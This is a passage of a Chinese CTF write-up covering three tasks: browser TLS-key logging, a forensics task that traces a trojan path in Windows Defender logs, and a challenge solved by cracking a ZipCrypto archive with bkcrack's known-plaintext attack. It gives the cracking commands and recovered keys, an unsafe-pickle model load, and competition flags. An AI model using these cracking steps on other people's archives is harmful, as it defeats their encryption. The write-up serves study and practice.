src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/image-20250323121647737.png"></p><p>得到 flag 为 <code>abcdef1234567890deadbeefc0ffeeba</code></p><h4 id="附：使用电脑的时候导出-SSLKEY"><a href="#附：使用电脑的时候导出-SSLKEY" class="headerlink" title="附：使用电脑的时候导出 SSLKEY"></a>附：使用电脑的时候导出 SSLKEY</h4><div class="note warning flat"><p>需要使用 Google Chrome！！！Edge不行！！！</p></div><p>在环境变量中添加名为 <code>SSLKEYLOGFILE</code> 的变量即可，内容为你需要保存的文件路径</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/PowerToys.EnvironmentVariables_x6zRQBftCV.png"></p><p>然后直接打开 Google Chrome 访问网站，在你指定的文件里面就会出现 SSLKEY 了</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/Notepad_bKeIGSyyu5.png"></p><h3 id="MISC-Forensics-DC-Forensics-2"><a href="#MISC-Forensics-DC-Forensics-2" class="headerlink" title="[MISC | Forensics] DC-Forensics-2"></a>[MISC | Forensics] DC-Forensics-2</h3><blockquote><p>小梁的域控机器被黑客攻击了，请你找出一些蛛丝马迹。 攻击者在获取域管理员权限后，尝试上传木马文件，但是被杀毒软件查杀，上传的木马文件的绝对路径是什么？（如C:\Windows\cmd.exe）</p></blockquote><p>这整个系列的题目，我们队的入手点都是这台 Windows 电脑的事件管理器保存下来的事件文件，我们从 <code>C:\Windows\System32\winevt</code> 可以看到 Windows 电脑的事件文件</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/image-20250323123923923.png"></p><p>导出后，在里面可以发现 <code>Microsoft-Windows-Windows Defender%4Operational.evtx</code>，得知电脑使用的是 Windows Defender 作为杀软</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/image-20250323124027712.png"></p><p>打开这个事件日志后，在第二行的警告里面就能看到木马</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/image-20250323124104459.png"></p><p>得到结果为 <code>C:\Users\Public\e9caab4405a14fb6.exe</code></p><h3 id="MISC-AI-ez-sight-赛后出"><a href="#MISC-AI-ez-sight-赛后出" class="headerlink" title="[MISC | AI] ez_sight | 赛后出"></a>[MISC | AI] ez_sight | 赛后出</h3><blockquote><p>公司给大家发公告了….</p><p><a href="https://ctf-files.bili33.top/CCSSSC2025/Regional/ez_sight.zip">附件</a></p></blockquote><p>题目提供了一个压缩包，里面有 <code>flag.py</code> <code>workspace.zip</code> <code>公告.txt</code> 三个文件</p><p>公告的内容如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">各位员工：</span><br><span class="line"></span><br><span class="line">为了提升公司的安全管理水平，从即日起，我司将引入AI技术对通行密码进行管理。相关的密码图片内容已整理并放入压缩包中，压缩包的密码将由各部门负责组织发放，请大家留意部门通知。</span><br><span class="line"></span><br><span class="line">请注意公司内部AI模型的使用规范：</span><br><span class="line">1.除最后一层外与池化层外其他隐藏层输出均需要通过激活函数</span><br><span class="line">2.至少需要通过两次池化层</span><br><span class="line">3.注意隐藏之间输出数据格式的匹配，必要时对数据张量进行重塑</span><br><span class="line">4.为保证模型准确性，输入图片应转换为灰度图</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">感谢大家的配合与支持。如有疑问，请随时与人事部联系。</span><br><span class="line"></span><br><span class="line">此致</span><br></pre></td></tr></table></figure><p>从这个文本文件我们可以知道这个题是个 AI 题，要调用它提供的模型来进行图片的辨认</p><div class="note danger flat"><p>笑死了这个题，我们队里有人看出来了这是压缩包明文爆破，但是但是，我们没有一个人电脑里有 bkcrack……</p><ul><li><a href="https://github.com/kimci86/bkcrack">kimci86&#x2F;bkcrack: Crack legacy zip encryption with Biham and Kocher’s known plaintext attack.</a></li></ul><p>ZIP 文件里的内容可以用一种叫 ZipCrypto 的加密方式保护，靠密码生成一串随机字节，跟文件内容“混在一起”变成加密后的数据。它的核心是个由三个数字组成的小机器，先用密码启动，然后边加密边更新。但这方法有个弱点：如果有人知道加密后的内容和至少 12 个字节的原文，就能破解这个小机器的内部状态。掌握了状态，就能解开所有用同一密码加密的内容，还能试着猜密码，难度大概是“字符种类数 × 密码长度 - 6”。简单说，就是不够安全，容易被攻破。</p><p>压缩包明文攻击的条件</p><ul><li>攻击需要至少 12 个字节的已知明文。其中至少 8 个必须是连续的。连续的已知明文越大，攻击速度越快。</li></ul></div><h4 id="解开压缩包"><a href="#解开压缩包" class="headerlink" title="解开压缩包"></a>解开压缩包</h4><p>这个题目已经给了我们 <code>公告.txt</code> 文件，并且压缩包内也有这个公告，满足且远远满足于我们的条件</p><p>使用这样的命令来 crack 我们的 zip</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">.\bkcrack.exe -C F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\workspace.zip -c 公告.txt -p F:\CTF\Workspace\CCSSSC2025复 赛\ez_sight\公告.txt</span></span><br></pre></td></tr></table></figure><p>这里的参数是这样的</p><ul><li><code>-C F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\workspace.zip</code> 表示需要 crack 的压缩包文件</li><li><code>-c 公告.txt</code> 压缩包内的已知明文的文件</li><li><code>-p F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\公告.txt</code> 对应压缩包内已知明文文件的文件，即压缩包内的文件解压后的文件</li></ul><p>等一会，就会给我们三个 key</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">bkcrack 1.7.1 - 2024-12-21</span><br><span class="line">[15:29:32] Z reduction using 687 bytes of known plaintext</span><br><span class="line">100.0 % (687 / 687)</span><br><span class="line">[15:29:33] Attack on 14755 Z values at index 18</span><br><span class="line">Keys: ffe9e9e9 d65f814a f3c468c9</span><br><span class="line">85.3 % (12585 / 14755)</span><br><span class="line">Found a solution. Stopping.</span><br><span class="line">You may resume the attack with the option: --continue-attack 12585</span><br><span class="line">[15:29:45] Keys</span><br><span class="line">ffe9e9e9 d65f814a f3c468c9</span><br></pre></td></tr></table></figure><p>通过这三个 key 我们能够生成一个使用我们自己的密码加密过后的压缩包，也就是说生成的压缩包的密码是已知的</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">.\bkcrack.exe -C F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\workspace.zip -k ffe9e9e9 d65f814a f3c468c9 -U F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\Unlock.zip Volcania</span></span><br><span class="line">bkcrack 1.7.1 - 2024-12-21</span><br><span class="line">[15:34:06] Writing unlocked archive F:\CTF\Workspace\CCSSSC2025澶嶈禌\ez_sight\Unlock.zip with password &quot;Volcania&quot;</span><br><span class="line">100.0 % (16 / 16)</span><br><span class="line">Wrote unlocked archive.</span><br></pre></td></tr></table></figure><p>这里的参数是这样的</p><ul><li><p><code>-C F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\workspace.zip</code> 表示需要 crack 的压缩包文件（上面讲过）</p></li><li><p><code>-k ffe9e9e9 d65f814a f3c468c9</code> 上面解出来的密钥，按照 bkcrack 的说明</p></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">-k, --keys &lt;X&gt; &lt;Y&gt; &lt;Z&gt;      Internal password representation as three 32-bits</span><br><span class="line">                              integers in hexadecimal (requires -d, -D, -U,</span><br><span class="line">                              --change-keys or --bruteforce)</span><br></pre></td></tr></table></figure><ul><li><code>-U F:\CTF\Workspace\CCSSSC2025复赛\ez_sight\Unlock.zip Volcania</code> 生成一个新的解锁包，这个压缩包的密码是 <code>Volcania</code></li></ul><p>这个时候，再用我们自己的密码进行解压，就可以得到压缩包里面的附件了</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/Bandizip.x64_CdkrgFHGR4.png"></p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/explorer_JJk1taKnws.png"></p><p>现在可以使用这个压缩包里面的文件了，按照题目的要求，我们需要加载这个模型来识别图片</p><h4 id="踩坑环节"><a href="#踩坑环节" class="headerlink" title="踩坑环节"></a>踩坑环节</h4><p>首先我们得知道这个模型的各种参数，我使用的是离线的 netron 进行识别的</p><blockquote><p><a href="https://github.com/lutzroeder/netron/tree/main">lutzroeder&#x2F;netron: Visualizer for neural network, deep learning and machine learning models</a></p></blockquote><p>可以看到这个模型里面的各个参数，与公告是能对应上的</p><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/Netron_9BaGJMUOdp.png"></p><p>这里抄了<a href="https://www.gmoe.cc/posts/ccsssc-ezsight-wp/#5%E8%B0%83%E7%94%A8%E6%A8%A1%E5%9E%8B%E8%AF%86%E5%88%AB%E6%95%B0%E5%AD%97">别人的调用代码</a>，确实没学过怎么调用模型</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> torch</span><br><span class="line"><span class="keyword">import</span> torch.nn <span class="keyword">as</span> nn</span><br><span class="line"><span class="keyword">import</span> torch.nn.functional <span class="keyword">as</span> F</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> torch.serialization <span class="keyword">import</span> safe_globals</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="comment"># 根据模型实际结构定义SimpleCNN类</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">SimpleCNN</span>(nn.Module):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">super</span>(SimpleCNN, self).__init__()</span><br><span class="line">        <span class="comment"># 第一层卷积层 (1 -&gt; 32)</span></span><br><span class="line">        self.conv1 = nn.Conv2d(<span class="number">1</span>, <span class="number">32</span>, kernel_size=<span class="number">3</span>, padding=<span class="number">1</span>)</span><br><span class="line">        <span class="comment"># 第二层卷积层 (32 -&gt; 64)</span></span><br><span class="line">        self.conv2 = nn.Conv2d(<span class="number">32</span>, <span class="number">64</span>, kernel_size=<span class="number">3</span>, padding=<span class="number">1</span>)</span><br><span class="line">        <span class="comment"># 全连接层</span></span><br><span class="line">        self.fc1 = nn.Linear(<span class="number">64</span> * <span class="number">7</span> * <span class="number">7</span>, <span class="number">128</span>)</span><br><span class="line">        self.fc2 = nn.Linear(<span class="number">128</span>, <span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">forward</span>(<span class="params">self, x</span>):</span><br><span class="line">        <span class="comment"># 第一层卷积 + 激活 + 池化</span></span><br><span class="line">        x = F.relu(self.conv1(x))</span><br><span class="line">        x = F.max_pool2d(x, <span class="number">2</span>)</span><br><span class="line">        <span class="comment"># 第二层卷积 + 激活 + 池化</span></span><br><span class="line">        x = F.relu(self.conv2(x))</span><br><span class="line">        x = F.max_pool2d(x, <span class="number">2</span>)</span><br><span class="line">        <span class="comment"># 重塑张量</span></span><br><span class="line">        x = x.view(-<span class="number">1</span>, <span class="number">64</span> * <span class="number">7</span> * <span class="number">7</span>)</span><br><span class="line">        <span class="comment"># 全连接层</span></span><br><span class="line">        x = F.relu(self.fc1(x))</span><br><span class="line">        x = self.fc2(x)</span><br><span class="line">        <span class="keyword">return</span> x</span><br><span class="line"></span><br><span class="line"><span class="comment"># 加载模型</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">load_model</span>(<span class="params">model_path</span>):</span><br><span class="line">    <span class="comment"># 添加SimpleCNN到安全全局变量列表中</span></span><br><span class="line">    safe_globals_list = [SimpleCNN]</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 使用safe_globals上下文管理器来安全加载模型</span></span><br><span class="line">    <span class="keyword">with</span> safe_globals(safe_globals_list):</span><br><span class="line">        model = torch.load(model_path, weights_only=<span class="literal">False</span>)</span><br><span class="line">    </span><br><span class="line">    model.<span class="built_in">eval</span>()</span><br><span class="line">    <span class="keyword">return</span> model</span><br><span class="line"></span><br><span class="line"><span class="comment"># 对现有图像进行预测</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">predict_images</span>(<span class="params">model_path, image_paths</span>):</span><br><span class="line">    <span class="comment"># 加载模型</span></span><br><span class="line">    model = load_model(model_path)</span><br><span class="line">    </span><br><span class="line">    results = []</span><br><span class="line">    <span class="keyword">for</span> img_path <span class="keyword">in</span> image_paths:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="comment"># 加载图像并转换为灰度图</span></span><br><span class="line">            img = Image.<span class="built_in">open</span>(img_path).convert(<span class="string">&#x27;L&#x27;</span>)</span><br><span class="line">            <span class="comment"># 调整图像大小为28x28</span></span><br><span class="line">            img = img.resize((<span class="number">28</span>, <span class="number">28</span>))</span><br><span class="line">            <span class="comment"># 转换为张量</span></span><br><span class="line">            img_tensor = torch.tensor(np.array(img)).<span class="built_in">float</span>() / <span class="number">255.0</span></span><br><span class="line">            img_tensor = img_tensor.unsqueeze(<span class="number">0</span>).unsqueeze(<span class="number">0</span>)  <span class="comment"># 添加批次和通道维度</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 进行预测</span></span><br><span class="line">            <span class="keyword">with</span> torch.no_grad():</span><br><span class="line">                output = model(img_tensor)</span><br><span class="line">                prob = F.softmax(output, dim=<span class="number">1</span>)</span><br><span class="line">                pred_class = torch.argmax(prob, dim=<span class="number">1</span>).item()</span><br><span class="line">                confidence = prob[<span class="number">0</span>][pred_class].item()</span><br><span class="line">            </span><br><span class="line">            results.append(&#123;</span><br><span class="line">                <span class="string">&#x27;image&#x27;</span>: os.path.basename(img_path),</span><br><span class="line">                <span class="string">&#x27;prediction&#x27;</span>: pred_class,</span><br><span class="line">                <span class="string">&#x27;confidence&#x27;</span>: confidence</span><br><span class="line">            &#125;)</span><br><span class="line">            </span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;图像 <span class="subst">&#123;os.path.basename(img_path)&#125;</span> 预测为: <span class="subst">&#123;pred_class&#125;</span>, 置信度: <span class="subst">&#123;confidence:<span class="number">.4</span>f&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;处理图像 <span class="subst">&#123;img_path&#125;</span> 时出错: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> results</span><br><span class="line"></span><br><span class="line"><span class="comment"># 主函数</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    model_path = <span class="string">&quot;./password.pt&quot;</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 对已有的0-13.bmp图像进行预测</span></span><br><span class="line">    image_paths = [<span class="string">f&quot;./flag/<span class="subst">&#123;i&#125;</span>.bmp&quot;</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">14</span>)]</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;分析数字图像...&quot;</span>)</span><br><span class="line">    predictions = predict_images(model_path, image_paths)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 打印预测结果摘要</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n预测结果摘要:&quot;</span>)</span><br><span class="line">    predicted_digits = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> p <span class="keyword">in</span> predictions:</span><br><span class="line">        predicted_digits += <span class="built_in">str</span>(p[<span class="string">&#x27;prediction&#x27;</span>])</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;数字序列: <span class="subst">&#123;predicted_digits&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 尝试将数字序列转换为ASCII字符</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        ascii_text = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(predicted_digits), <span class="number">2</span>):</span><br><span class="line">            <span class="keyword">if</span> i+<span class="number">1</span> &lt; <span class="built_in">len</span>(predicted_digits):</span><br><span class="line">                char_code = <span class="built_in">int</span>(predicted_digits[i:i+<span class="number">2</span>])</span><br><span class="line">                <span class="keyword">if</span> <span class="number">32</span> &lt;= char_code &lt;= <span class="number">126</span>:  <span class="comment"># 可打印ASCII范围</span></span><br><span class="line">                    ascii_text += <span class="built_in">chr</span>(char_code)</span><br><span class="line">        <span class="keyword">if</span> ascii_text:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;可能的ASCII文本: <span class="subst">&#123;ascii_text&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;转换ASCII时出错: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-CCSSSC2025-Regional-Offline-Competition/Code_xtftaGWWfj.png"></p><p>所以 flag 大概应该是 <code>81294687889085</code></p><p>但是队友后来提醒我，官方给了验证的脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> uuid</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line">flag = <span class="built_in">input</span>()<span class="comment"># press the corrcet password</span></span><br><span class="line">final_flag = <span class="string">&quot;dart&#123;&quot;</span> + <span class="built_in">str</span>(uuid.uuid3(uuid.UUID(<span class="string">&#x27;11341600-1542-4ee8-b148-23940f18186b&#x27;</span>),flag)) + <span class="string">&quot;&#125;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> hashlib.sha256(final_flag.encode(<span class="string">&quot;utf8&quot;</span>)).hexdigest() == <span class="string">&quot;115159c751ddf16c527ee96f998ed55ed8a3302f2fd04ba60682493883901684&quot;</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;correct flag:&quot;</span> + final_flag)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后输了进去，发现不对</p><h4 id="正确解法"><a href="#正确解法" class="headerlink" title="正确解法"></a>正确解法</h4><p>问了一下兄弟队（他们当场就做出来了），说要挑概率大的去爆破</p><p>这里我们队的 <a href="https://www.j3r3m14h.com.cn/Je2em1ah_blog/">@Jeremiah</a> 改了一下上面搬的脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> torch</span><br><span class="line"><span class="keyword">import</span> torch.nn <span class="keyword">as</span> nn</span><br><span class="line"><span class="keyword">import</span> torch.nn.functional <span class="keyword">as</span> F</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> torch.serialization <span class="keyword">import</span> safe_globals</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">SimpleCNN</span>(nn.Module):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">super</span>(SimpleCNN, self).__init__()</span><br><span class="line">        self.conv1 = nn.Conv2d(<span class="number">1</span>, <span class="number">32</span>, kernel_size=<span class="number">3</span>, padding=<span class="number">1</span>)</span><br><span class="line">        self.conv2 = nn.Conv2d(<span class="number">32</span>, <span class="number">64</span>, kernel_size=<span class="number">3</span>, padding=<span class="number">1</span>)</span><br><span class="line">        self.fc1 = nn.Linear(<span class="number">64</span> * <span class="number">7</span> * <span class="number">7</span>, <span class="number">128</span>)</span><br><span class="line">        self.fc2 = nn.Linear(<span class="number">128</span>, <span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">forward</span>(<span class="params">self, x</span>):</span><br><span class="line">        x = F.relu(self.conv1(x))</span><br><span class="line">        x = F.max_pool2d(x, <span class="number">2</span>)</span><br><span class="line">        x = F.relu(self.conv2(x))</span><br><span class="line">        x = F.max_pool2d(x, <span class="number">2</span>)</span><br><span class="line">        x = x.view(-<span class="number">1</span>, <span class="number">64</span> * <span class="number">7</span> * <span class="number">7</span>)</span><br><span class="line">        x = F.relu(self.fc1(x))</span><br><span class="line">        x = self.fc2(x)</span><br><span class="line">        <span class="keyword">return</span> x</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">load_model</span>(<span class="params">model_path</span>):</span><br><span class="line">    safe_globals_list = [SimpleCNN]</span><br><span class="line">    <span class="keyword">with</span> safe_globals(safe_globals_list):</span><br><span class="line">        model = torch.load(model_path, weights_only=<span class="literal">False</span>)</span><br><span class="line">    model.<span class="built_in">eval</span>()</span><br><span class="line">    <span class="keyword">return</span> model</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">predict_images</span>(<span class="params">model_path, image_paths</span>):</span><br><span class="line">    model = load_model(model_path)</span><br><span class="line">    </span><br><span class="line">    results = []</span><br><span class="line">    <span class="keyword">for</span> img_path <span class="keyword">in</span> image_paths:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            img = Image.<span class="built_in">open</span>(img_path).convert(<span class="string">&#x27;L&#x27;</span>)</span><br><span class="line">            img = img.resize((<span class="number">28</span>, <span class="number">28</span>))</span><br><span class="line">            img_tensor = torch.tensor(np.array(img)).<span class="built_in">float</span>() / <span class="number">255.0</span></span><br><span class="line">            img_tensor = img_tensor.unsqueeze(<span class="number">0</span>).unsqueeze(<span class="number">0</span>)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">with</span> torch.no_grad():</span><br><span class="line">                output = model(img_tensor)</span><br><span class="line">                prob = F.softmax(output, dim=<span class="number">1</span>)</span><br><span class="line">                pred_class = torch.argmax(prob, dim=<span class="number">1</span>).item()</span><br><span class="line">                confidence = prob[<span class="number">0</span>][pred_class].item()</span><br><span class="line">                </span><br><span class="line">                <span class="comment"># 获取所有类别的置信度</span></span><br><span class="line">                all_confidences = &#123;<span class="built_in">str</span>(i): prob[<span class="number">0</span>][i].item() <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>)&#125;</span><br><span class="line">            </span><br><span class="line">            results.append(&#123;</span><br><span class="line">                <span class="string">&#x27;image&#x27;</span>: os.path.basename(img_path),</span><br><span class="line">                <span class="string">&#x27;prediction&#x27;</span>: pred_class,</span><br><span class="line">                <span class="string">&#x27;confidence&#x27;</span>: confidence,</span><br><span class="line">                <span class="string">&#x27;all_confidences&#x27;</span>: all_confidences  <span class="comment"># 添加所有类别的置信度</span></span><br><span class="line">            &#125;)</span><br><span class="line">            </span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;\n图像 <span class="subst">&#123;os.path.basename(img_path)&#125;</span> 预测结果:&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;预测为: <span class="subst">&#123;pred_class&#125;</span>, 最高置信度: <span class="subst">&#123;confidence:<span class="number">.4</span>f&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;所有类别置信度:&quot;</span>)</span><br><span class="line">            <span class="keyword">for</span> cls, conf <span class="keyword">in</span> <span class="built_in">sorted</span>(all_confidences.items(), key=<span class="keyword">lambda</span> x: x[<span class="number">1</span>], reverse=<span class="literal">True</span>):</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;  类别 <span 